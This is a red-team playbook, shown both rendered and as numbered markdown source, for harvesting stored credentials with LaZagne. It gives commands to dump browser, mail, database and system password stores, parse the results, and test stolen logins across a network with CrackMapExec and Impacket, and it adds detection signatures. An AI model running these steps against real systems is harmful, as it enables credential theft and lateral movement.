Performing Credential Access with LaZagne
Overview
LaZagne is an open-source post-exploitation tool designed to retrieve credentials stored on local systems. It supports Windows, Linux, and macOS, with the most extensive module library for Windows. LaZagne recovers passwords from browsers (Chrome, Firefox, Edge, Opera), email clients (Outlook, Thunderbird), databases (PostgreSQL, MySQL, SQLite), system stores (Windows Credential Manager, LSA secrets, DPAPI), Wi-Fi profiles, Git credentials, and dozens of other applications. The tool is categorized under MITRE ATT&CK T1555 (Credentials from Password Stores) and is listed as software S0349. Red teams use LaZagne after gaining initial access to harvest stored credentials that enable lateral movement and privilege escalation.
When to Use
- When conducting security assessments that involve performing credential access with lazagne
- When following incident response procedures for related security events
- When performing scheduled security testing or auditing activities
- When validating security controls through hands-on testing
Prerequisites
- Familiarity with red teaming concepts and tools
- Access to a test or lab environment for safe execution
- Python 3.8+ with required dependencies installed
- Appropriate authorization for any testing activities
Objectives
- Deploy LaZagne on compromised Windows, Linux, or macOS endpoints
- Extract credentials from all supported password stores
- Parse and prioritize recovered credentials for lateral movement
- Identify high-value credentials (domain admin, service accounts, cloud access)
- Document credential harvesting results with appropriate evidence handling
- Correlate recovered credentials with BloodHound attack paths
MITRE ATT&CK Mapping
- T1555 - Credentials from Password Stores
- T1555.003 - Credentials from Password Stores: Credentials from Web Browsers
- T1555.004 - Credentials from Password Stores: Windows Credential Manager
- T1552.001 - Unsecured Credentials: Credentials In Files
- T1552.002 - Unsecured Credentials: Credentials in Registry
- T1003.004 - OS Credential Dumping: LSA Secrets
- T1539 - Steal Web Session Cookie
Workflow
Phase 1: LaZagne Deployment
- Transfer LaZagne to the compromised host:
# Pre-compiled executable (Windows)
# Transfer lazagne.exe via C2 channel or file upload
# Python version (requires Python on target)
git clone https://github.com/AlessandroZ/LaZagne.git
cd LaZagne
pip install -r requirements.txt
- Verify execution capability and privileges:
# Check current user context
whoami /priv
# LaZagne works with standard user privileges for user-level stores
# SYSTEM/Admin privileges needed for DPAPI master keys, LSA secrets, SAM
Phase 2: Full Credential Extraction (Windows)
- Run LaZagne with all modules:
# Extract all credentials
lazagne.exe all
# Export results to JSON
lazagne.exe all -oJ
# Export results to specific file
lazagne.exe all -oJ -output C:\Temp\creds
- Run specific modules for targeted extraction:
# Browsers only (Chrome, Firefox, Edge, Opera, IE)
lazagne.exe browsers
# Windows credential stores
lazagne.exe windows
# Database credentials
lazagne.exe databases
# Email client credentials
lazagne.exe mails
# Wi-Fi passwords
lazagne.exe wifi
# Git credentials
lazagne.exe git
# System credentials (requires elevated privileges)
lazagne.exe sysadmin
Phase 3: Credential Extraction (Linux)
- Run LaZagne on Linux targets:
# Full extraction
python3 laZagne.py all
# Browser credentials
python3 laZagne.py browsers
# System credentials (SSH keys, shadow file with root)
python3 laZagne.py sysadmin
# Database credentials
python3 laZagne.py databases
# Git credentials
python3 laZagne.py git
Phase 4: Credential Analysis and Prioritization
- Parse JSON output for unique credentials:
import json
with open("creds.json") as f:
results = json.load(f)
for module in results:
for entry in module.get("results", []):
print(f"Source: {entry.get('Category')}")
print(f" User: {entry.get('Login', 'N/A')}")
print(f" URL/Host: {entry.get('URL', entry.get('Host', 'N/A'))}")
- Prioritize credentials by value:
- Domain credentials (AD accounts) for lateral movement
- Cloud service credentials (AWS, Azure, GCP console)
- VPN and remote access credentials
- Database credentials for data access
- Email credentials for business email compromise
- Service account credentials for privilege escalation
Phase 5: Credential Validation and Use
- Validate recovered domain credentials:
# Test domain credentials with CrackMapExec
crackmapexec smb 10.10.10.0/24 -u recovered_user -p 'recovered_pass'
# Test with Impacket
smbclient.py domain.local/user:'password'@10.10.10.1
- Cross-reference with BloodHound paths for high-value targets
- Use recovered credentials for lateral movement or privilege escalation
Tools and Resources
| Tool |
Purpose |
Platform |
| LaZagne |
Multi-source credential extraction |
Windows/Linux/macOS |
| Mimikatz |
LSASS/DPAPI credential dumping |
Windows |
| SharpChrome |
Chrome credential extraction (.NET) |
Windows |
| SharpDPAPI |
DPAPI credential decryption |
Windows |
| CrackMapExec |
Credential validation and spraying |
Linux |
| Impacket |
Remote credential testing |
Linux (Python) |
LaZagne Module Coverage (Windows)
| Category |
Modules |
| Browsers |
Chrome, Firefox, Edge, Opera, IE, Brave, Vivaldi |
| Email |
Outlook, Thunderbird, Foxmail |
| Databases |
PostgreSQL, MySQL, SQLiteDB, Robomongo |
| Sysadmin |
PuTTY, WinSCP, FileZilla, OpenSSH, RDPManager |
| Windows |
Credential Manager, Vault, DPAPI, Autologon |
| WiFi |
Stored Wi-Fi passwords |
| Git |
Git Credential Store, Git Credential Manager |
| SVN |
TortoiseSVN |
| Chat |
Pidgin, Skype |
Detection Signatures
| Indicator |
Detection Method |
| LaZagne.exe process execution |
EDR process monitoring with hash-based detection |
| Access to Chrome Login Data SQLite DB |
File access monitoring on browser credential stores |
| DPAPI CryptUnprotectData API calls |
API hooking and ETW tracing |
| Access to Windows Credential Manager |
Event 5379 (Credential Manager read) |
| Mass credential store enumeration |
Behavioral analysis for sequential access patterns |
| Python interpreter accessing credential files |
Script block logging and file access auditing |
Validation Criteria
1---2name: performing-credential-access-with-lazagne3description: Extract stored credentials from compromised endpoints using the LaZagne post-exploitation tool to recover passwords from browsers, databases, system vaults, and applications during authorized red team operations.4license: Apache-2.05---6# Performing Credential Access with LaZagne
7
8## Overview
9
10LaZagne is an open-source post-exploitation tool designed to retrieve credentials stored on local systems. It supports Windows, Linux, and macOS, with the most extensive module library for Windows. LaZagne recovers passwords from browsers (Chrome, Firefox, Edge, Opera), email clients (Outlook, Thunderbird), databases (PostgreSQL, MySQL, SQLite), system stores (Windows Credential Manager, LSA secrets, DPAPI), Wi-Fi profiles, Git credentials, and dozens of other applications. The tool is categorized under MITRE ATT&CK T1555 (Credentials from Password Stores) and is listed as software S0349. Red teams use LaZagne after gaining initial access to harvest stored credentials that enable lateral movement and privilege escalation.
11
12
13## When to Use
14
15- When conducting security assessments that involve performing credential access with lazagne
16- When following incident response procedures for related security events
17- When performing scheduled security testing or auditing activities
18- When validating security controls through hands-on testing
19
20## Prerequisites
21
22- Familiarity with red teaming concepts and tools
23- Access to a test or lab environment for safe execution
24- Python 3.8+ with required dependencies installed
25- Appropriate authorization for any testing activities
26
27## Objectives
28
29- Deploy LaZagne on compromised Windows, Linux, or macOS endpoints
30- Extract credentials from all supported password stores
31- Parse and prioritize recovered credentials for lateral movement
32- Identify high-value credentials (domain admin, service accounts, cloud access)
33- Document credential harvesting results with appropriate evidence handling
34- Correlate recovered credentials with BloodHound attack paths
35
36## MITRE ATT&CK Mapping
37
38- **T1555** - Credentials from Password Stores
39- **T1555.003** - Credentials from Password Stores: Credentials from Web Browsers
40- **T1555.004** - Credentials from Password Stores: Windows Credential Manager
41- **T1552.001** - Unsecured Credentials: Credentials In Files
42- **T1552.002** - Unsecured Credentials: Credentials in Registry
43- **T1003.004** - OS Credential Dumping: LSA Secrets
44- **T1539** - Steal Web Session Cookie
45
46## Workflow
47
48### Phase 1: LaZagne Deployment
491. Transfer LaZagne to the compromised host:
50 ```powershell
51 # Pre-compiled executable (Windows)
52 # Transfer lazagne.exe via C2 channel or file upload
53
54 # Python version (requires Python on target)
55 git clone https://github.com/AlessandroZ/LaZagne.git
56 cd LaZagne
57 pip install -r requirements.txt
58 ```
592. Verify execution capability and privileges:
60 ```powershell
61 # Check current user context
62 whoami /priv
63
64 # LaZagne works with standard user privileges for user-level stores
65 # SYSTEM/Admin privileges needed for DPAPI master keys, LSA secrets, SAM
66 ```
67
68### Phase 2: Full Credential Extraction (Windows)
691. Run LaZagne with all modules:
70 ```powershell
71 # Extract all credentials
72 lazagne.exe all
73
74 # Export results to JSON
75 lazagne.exe all -oJ
76
77 # Export results to specific file
78 lazagne.exe all -oJ -output C:\Temp\creds
79 ```
802. Run specific modules for targeted extraction:
81 ```powershell
82 # Browsers only (Chrome, Firefox, Edge, Opera, IE)
83 lazagne.exe browsers
84
85 # Windows credential stores
86 lazagne.exe windows
87
88 # Database credentials
89 lazagne.exe databases
90
91 # Email client credentials
92 lazagne.exe mails
93
94 # Wi-Fi passwords
95 lazagne.exe wifi
96
97 # Git credentials
98 lazagne.exe git
99
100 # System credentials (requires elevated privileges)
101 lazagne.exe sysadmin
102 ```
103
104### Phase 3: Credential Extraction (Linux)
1051. Run LaZagne on Linux targets:
106 ```bash
107 # Full extraction
108 python3 laZagne.py all
109
110 # Browser credentials
111 python3 laZagne.py browsers
112
113 # System credentials (SSH keys, shadow file with root)
114 python3 laZagne.py sysadmin
115
116 # Database credentials
117 python3 laZagne.py databases
118
119 # Git credentials
120 python3 laZagne.py git
121 ```
122
123### Phase 4: Credential Analysis and Prioritization
1241. Parse JSON output for unique credentials:
125 ```python
126 import json
127 with open("creds.json") as f:
128 results = json.load(f)
129 for module in results:
130 for entry in module.get("results", []):
131 print(f"Source: {entry.get('Category')}")
132 print(f" User: {entry.get('Login', 'N/A')}")
133 print(f" URL/Host: {entry.get('URL', entry.get('Host', 'N/A'))}")
134 ```
1352. Prioritize credentials by value:
136 - Domain credentials (AD accounts) for lateral movement
137 - Cloud service credentials (AWS, Azure, GCP console)
138 - VPN and remote access credentials
139 - Database credentials for data access
140 - Email credentials for business email compromise
141 - Service account credentials for privilege escalation
142
143### Phase 5: Credential Validation and Use
1441. Validate recovered domain credentials:
145 ```bash
146 # Test domain credentials with CrackMapExec
147 crackmapexec smb 10.10.10.0/24 -u recovered_user -p 'recovered_pass'
148
149 # Test with Impacket
150 smbclient.py domain.local/user:'password'@10.10.10.1
151 ```
1522. Cross-reference with BloodHound paths for high-value targets
1533. Use recovered credentials for lateral movement or privilege escalation
154
155## Tools and Resources
156
157| Tool | Purpose | Platform |
158|------|---------|----------|
159| LaZagne | Multi-source credential extraction | Windows/Linux/macOS |
160| Mimikatz | LSASS/DPAPI credential dumping | Windows |
161| SharpChrome | Chrome credential extraction (.NET) | Windows |
162| SharpDPAPI | DPAPI credential decryption | Windows |
163| CrackMapExec | Credential validation and spraying | Linux |
164| Impacket | Remote credential testing | Linux (Python) |
165
166## LaZagne Module Coverage (Windows)
167
168| Category | Modules |
169|----------|---------|
170| Browsers | Chrome, Firefox, Edge, Opera, IE, Brave, Vivaldi |
171| Email | Outlook, Thunderbird, Foxmail |
172| Databases | PostgreSQL, MySQL, SQLiteDB, Robomongo |
173| Sysadmin | PuTTY, WinSCP, FileZilla, OpenSSH, RDPManager |
174| Windows | Credential Manager, Vault, DPAPI, Autologon |
175| WiFi | Stored Wi-Fi passwords |
176| Git | Git Credential Store, Git Credential Manager |
177| SVN | TortoiseSVN |
178| Chat | Pidgin, Skype |
179
180## Detection Signatures
181
182| Indicator | Detection Method |
183|-----------|-----------------|
184| LaZagne.exe process execution | EDR process monitoring with hash-based detection |
185| Access to Chrome Login Data SQLite DB | File access monitoring on browser credential stores |
186| DPAPI CryptUnprotectData API calls | API hooking and ETW tracing |
187| Access to Windows Credential Manager | Event 5379 (Credential Manager read) |
188| Mass credential store enumeration | Behavioral analysis for sequential access patterns |
189| Python interpreter accessing credential files | Script block logging and file access auditing |
190
191## Validation Criteria
192
193- [ ] LaZagne deployed on compromised endpoint
194- [ ] Full credential extraction completed (all modules)
195- [ ] Credentials exported in JSON format for analysis
196- [ ] Recovered credentials parsed and deduplicated
197- [ ] High-value credentials identified and prioritized
198- [ ] Domain credentials validated against AD
199- [ ] Lateral movement opportunities identified from recovered creds
200- [ ] Evidence documented with appropriate handling procedures